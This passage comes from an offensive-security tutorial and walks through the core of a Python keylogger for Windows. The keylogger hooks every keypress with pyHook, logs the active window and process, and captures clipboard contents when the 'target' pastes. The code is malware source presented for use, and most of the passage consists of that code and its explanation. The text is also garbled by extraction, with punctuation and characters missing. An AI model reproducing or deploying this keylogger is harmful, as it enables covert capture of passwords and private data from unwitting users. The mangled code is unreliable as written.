process handlewe find the actual executable name of the process the final step is to grab the full text of the window' title bar using the getwindowtexta function at the end of our helper function we output all of the information in nice header so that you can clearly see which keystrokes went with which process and window now let' put the meat of our keystroke logger in place to finish it off def keystroke(event)global current_window check to see if target changed windows if event windowname !current_windowcurrent_window event windowname get_current_process(if they pressed standard key if event ascii and event ascii print chr(event ascii)elseif [ctrl- ]get the value on the clipboard if event key =" "win clipboard openclipboard(pasted_value win clipboard getclipboarddata(win clipboard closeclipboard(print "[paste% (pasted_value)elseprint "[% ]event keypass execution to next hook registered return true create and register hook manager kl pyhook hookmanager(kl keydown keystroke register the hook and execute forever kl hookkeyboard(pythoncom pumpmessages(that' all you needwe define our pyhook hookmanager and then bind the keydown event to our user-defined callback function keystroke we then instruct pyhook to hook all keypresses and continue execution whenever the target presses key on the keyboardour keystroke function is called with an event object as its only parameter the first thing we do is check if the user has changed windows and if sowe acquire the new window' name and process information we then look at the keystroke that was issued and if it falls within the ascii-printable rangewe simply print it out if it' modifier (such as the shiftctrlor alt keysor any other nonstandard keywe grab the key name from the event object we also check if the user is performing paste operation and if so we dump the contents of the clipboard the callback function wraps up by returning true to allow the next hook in the chain -if there is one -to process the event let' take it for spin